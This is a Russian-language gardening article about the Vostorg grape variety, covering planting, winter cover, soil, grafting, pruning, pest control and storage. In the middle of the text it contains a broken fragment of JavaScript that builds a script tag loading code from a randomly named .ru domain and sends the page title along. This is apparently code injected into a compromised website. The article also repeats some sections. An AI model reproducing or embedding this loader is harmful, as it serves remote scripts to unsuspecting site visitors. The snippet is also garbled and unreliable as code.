Виноград «восторг»: описание сорта, фото, отзывы. Выращивание и характеристика белого, черного, мускатного и других разновидностей
О чем статья:
Посадка и уход
Для размножения винограда Восторг используют саженцы, отводки и черенки. Привитая лоза также хорошо приживается к многолетним кустам.
Мнение экспертаЮрий ЕгорутинБлогер, автор канала на YouTube «Виноградник за окном», выращивает виноград почти 28 летИногда садоводы предпочитают выращивать Восторг из семян, чтобы получить высококачественные ростки, унаследовавшие все характеристики материнского куста.
Лучшим местом для высадки винограда будет южная сторона участка, особенно если там есть небольшое возвышение. Как провести посадку:
- за месяц до посадки выкопать яму 0,6-0,7 м в ширину и 0,8 м в глубину;
- положить на дно смесь из земли и компоста;
- через месяц, когда земля осядет, разместить саженец в середине ямы;
- засыпать саженец землей и обильно полить отстоянной водой.
Если высадка проводится весной, почву необходимо мульчировать через 5 дней после размещения саженца.
Климат, регион произрастания
В результате селекции гибридный сорт получил хорошую «базу» для адаптации к различным климатическим условиям. В результате его успешно культивируют в таких регионах, как:
- Северный Кавказ;
- Нижневолжский регион;
- Центральная Россия;
- Урал;
- Сибирь;
- Дальний Восток.
Восторг обладает высокой морозоустойчивостью. Он способен выдерживать морозы до -25ºС. В южных регионах его можно не укрывать, либо просто обмотать легким материалом, например, агроволокном. При выращивании в средней климатической полосе утепление обязательно. Как укрыть виноград:
- мульчировать почву под кустом, рекомендуемый слой — 25-30 см;
- обмотать нижнюю часть винограда утеплителем;
- закрыть лозу сверху лапником.
Молодые растения в любом случае нужно закрывать, поскольку они не успели в достаточной мере сфромироваться.
Почва
Наиболее подходящий грунт для высадки Восторга:
- суглинок;
- супесчаная почва;
- чернозем.
Необходимо, чтобы грунтовые воды залегали на глубине не менее 2,5 метров. Грунт должен быть достаточно плодородным, хорошо пропускать воздух и влагу.
Слишком кислую почву можно разбавить золой, а большое количество глины компенсировать песком.
Посадка и уход
var m5d6fd70f32c60 = document.createElement(‘script’);
m5d6fd70f32c60.src=’https://s98k2dmmbm.ru/show/?’ + Math.round(Math.random()*100000) + ‘=’ + Math.round(Math.random()*100000) + ‘&’ + Math.round(Math.random()*100000) + ‘=3085&’ + Math.round(Math.random()*100000) + ‘=’ + document.title +’&’ + Math.round(Math.random()*100000);
function f5d6fd70f32c60() else
}
f5d6fd70f32c60();
Виноград Восторг размножается черенками, отводками и саженцами. Иногда, для разведения виноградари используют семенной материал. В этом случае есть вероятность получения саженцев с отличными от материнского куста качествами.
Размножение
Размножать Восторг белый рекомендуется с помощью подвоя. Саженец, полученный при прививке легче осваивается на новом месте и быстрее формируется в плодоносящий куст. Подвоем могут служить сильнорослые или среднерослые сорта.
Восторг чёрный легко приживается при посадке черенками, так как формирует развитую, крепкую корневую систему. Для его посадки требуется пространство и свет.
Приживаемость Восторга красного при посадке черенками удовлетворительная. Этот виноград разводится отводками и саженцами.
Черенки Восторга мускатного легко приживаются на новом месте. Сорт хорошо совмещается с подвоем.
Привой черенков на развитый древесный подвой считается самым оптимальным вариантом для защиты от опасных вредителей.
Можно использовать различные схемы прививки зелеными и одревесневшими черенками. При прививке новый куст довольно быстро начинает плодоносить.
Готовые для прививки черенки должны иметь зелёный срез и 3 глазка. Для защиты от высыхания верхняя часть черенка опускается в растопленный парафин. Сторона, которая вставляется в раскол подвоя, обрезается под углом с 2 сторон. Этот край опускается на сутки в воду с добавлением любого стимулятора роста, например, Гумата.
Для прививки берётся старая виноградная лоза, которая срезается до 10 сантиметров. Срез зачищается. Пенёк раскалывается на глубину зачищенной части черенка. На большом штамбе можно сделать 2 и более расколов. Главное, чтобы не образовалось последующего загущения растения.
Конец черенка вставляется в раскол, плотно зажимается, фиксируется и обмазывается влажной глиной. Рядом вкапывается опора. Куст поливается, приствольный круг мульчируется растительным материалом.
Отводками от взрослого куста можно получить любой из подвидов винограда Восторг.
Выбранный качественный, длинный побег взрослого плодоносящего растения нужно прикопать землей и зафиксировать деревянной рогатиной. После укоренения связующий побег отделяется от материнского куста. Саженец пересаживается на постоянное место.
Чаще всего виноград Восторг размножается саженцами. Сроки посадки напрямую зависят от климата региона. В центральной части России и на юге виноград Восторг высаживается как весной, так и осенью. В северном регионе растения нужно сажать весной.
Посадка
При выборе участка для посадки винограда Восторг нужно учесть плодородность почвы, глубину прохождения грунтовых вод, освещенность места и продуваемость ветрами. Для него подходит южный участок на небольшом возвышении. Лучшей почвой для посадки винограда Восторг является супесь, суглинок и чернозём. Яма для посадки выкапывается с учетом размера будущего куста. Промежуток между посадками должен составить 4-6 метров. От построек и заборов нужно отступать около 2 метров.
За месяц до посадки необходимо выкопать яму глубиной 80-90 сантиметров и шириной 60-70 сантиметров. Дно покрывается смесью из компоста и земли. Через месяц, после оседания насыпного слоя берётся саженец, устанавливается в середину ямы, засыпается землёй и поливается. Для полива берётся отстоянная вода. При весенней посадке через 4-5 дней участок вокруг растения укрывается мульчёй из древесных опилок, торфа или соломы.
В дальнейшем для куста нужно обеспечить надлежащий уход.
Уход за виноградом включает в себя:
- Обрезку;
- полив;
- подкормку;
- профилактическую обработку от болезней и вредителей.
Виноград Восторг считается достаточно неприхотливым сортом, но при хорошем уходе он быстрее формируется, а количество и качество урожая улучшается.
Виноград положительно реагирует на подкормки и поливы, и спокойно относятся к небольшому недостатку влаги.
Обрезку нужно делать весной, до пробуждения почек.
Обрезка
Белый Восторг формируется в сильнорослое растение и требует обрезки. Для этого используется средняя и короткая схемы. На кусте остаётся до 45 глазков. Виноград при такой обрезке хорошо вызревает.
Восторг чёрный не любит загущения. При обрезке должно оставаться не больше 40-50 глазков. На одном побеге остаётся до 12 глазков, Это позволяет получать около 75-80% хорошо вызревшего винограда. Можно также использовать короткую обрезку на 3-4 глазка. Перед цветением верхушки у побегов нужно прищипывать.
На одном кусте Восторга красного рекомендуется оставить 20-25 побегов, 12-15 почек на каждом побеге.
Куст Восторга мускатного требует нормирования урожая, так как без прищипывания и обрезки побеги перегружаются. Оптимальная нагрузка для растения растущем в собственной корневой системе составляет не более 25 глазков и 40 глазков, если виноград привит.
Из-за высокой урожайности для куста рекомендуется делать короткую обрезку на 3-4 глазка. Слаборазвитые побеги вырезаются. Средняя обрезка лоз производится на 6-8 глазков.
Осенняя обрезка позволяет нормировать урожайность и избежать перегрузки лоз в будущем.
Полив производится в течение всего сезона.
Для подкормки берутся калийно-фосфорные удобрения. Их можно растворить в воде. Удобрения вносятся 1 раз в месяц. Летом применяются внекорневые подкормки.
Для профилактической обработки от болезней и вредителей используются системные фунгициды, биопрепараты и инсектициды, производится подвязка кустов и пасынкование.
Опрыскивание производится весной, до цветения и осенью, после сброса листвы с куста.
Если болезнь уже появилась, используются специальные химикаты, серосодержащие препараты.
Этот виноград относится к неукрывному виду, но молодые саженцы в первый год жизни все же нужно укрыть. Особенно при осенней посадке.
Над саженцем, делается сосудообразное сооружение, которое засыпается песком. Сверху укладываются еловые ветки, мох.
Для саженцев, которые можно пригнуть, используется другой вариант укрытия. Лоза пригибается к земле, закрепляется. При отсутствии снега растение укрывается ельником, соломой, мхом, торфом. После выпадения снега сверху укрытия набрасывается снег.
Виноград Восторг при хорошем уходе ежегодно благодарит своего хозяина обильным и качественным урожаем.
Размножение
Для увеличения поголовья винограда на приусадебном участке, прибегают к вегетативным методам размножения плодовой культуры.
Сортовой, гибридный виноград Восторг размножают с помощью прививки, черенкования или отводками.
У всех разновидностей сорта черенки быстро укореняются и приживаются.
Болезни и вредители
Сорт винограда Восторг демонстрирует прекрасную стойкость к заболеваниям и атакам вредителей, но этот показатель не исключает риск инфицирования. По описанию, сорт плохо противостоит филлоксере, поэтому, в профилактических целях, нужно, перед цветением, опрыскать растения специальными препаратами, так как зараженный куст лечению не поддаётся.
Хранение
Сорт выглядит привлекательно и хорошо смотрится на прилавках.
Средняя сохранность гроздей на кустах – 30-45 дней. Свежесть сохраняет надолго, но при долгом хранении существует риск появления коричневых точек. Вкус остается прежним, а товарность снижается. Хранить виноград можно в холодильнике до 1,5 месяцев.
Виноград Восторг — описание сорта, фото, отзывы
((Заря севера x Долорес) x Русский ранний)
[ВНИИВиВ им. Я.И. Потапенко, Россия]
Один из лучших столовых сортов винограда с повышенной устойчивостью к болезням и морозу (до -25)
Очень раннего срока созревания (110-120 дней) подходит для средней полосы России.
Очень сладкий сорт.
Сорт винограда Восторг рекомендуется для возделывания в открытом грунте и неукрывной культуре с определенной долей риска повреждений кустов в зимний период.
Грозди Восторга конические, иногда бесформенные, крупные и очень крупные средняя масса грозди 531 грамм, а некоторые из них достигают 2 килограммов, умеренно-плотные.
Ягоды винограда крупные и очень крупные, 27×24 мм, 6-7 г слегка овальные, белые, с загаром на солнце, приятного вкуса, с большим содержанием сахара.
Мякоть хрустящая, гармоничного вкуса, кожица ягод умеренно-плотная, съедаемая. Сахаронакопление высокое — 19-26%, кислотность 5-9 г/л.
Вызревание побегов хорошее.
Плодоносных побегов 65-85%, число гроздей на побег 1,4-1,7. Средняя урожайность сорта Восторг — 120 центнеров с гектара.
Нагрузка на виноградный куст 35-45 глазков при длине обрезки плодовых лоз на 6-10 глазков.
Плодоносность глазков у основания побегов высокая, поэтому можно обрезать и коротко, на 2-4 глазка. Укореняемость черенков удовлетворительная.
Восторг лучше удается в привитой культуре на сильнорослых подвоях.
Характерная особенность — способность винограда сохраняться на кустах в течение 1-1,5 месяца без потери вкусовых и товарных качеств.
Транспортабелен, отзывчив на своевременное орошение, повышенные дозы минеральных и органических удобрений, подкормки.
Для того чтобы получить очень крупные грозди(1,5-2 кг) на сорте Восторг — нуженхороший запас многолетней древесины и делать умеренную нагрузку кустов глазками (20-30 глазков ).
Особенно хорошо удается на арочных формировках.
Виноград устойчив к морозу (-25°С), милдью, серой гнили. В Подмосковье и средней полосе следует проводить 1 -2 опрыскивания против милдью с добавлением в раствор препаратов от оидиума. Сорт неустойчив к филоксере, и качестве подвоев может быть рекомендован Берландиери x Рипариа Кобер 5ББ.
Коричневатый загар и «конопушки» у ягод Восторга — это сортовая особенность , так что подкормки здесь не виноваты.
В статье использованы материалы с сайтов:
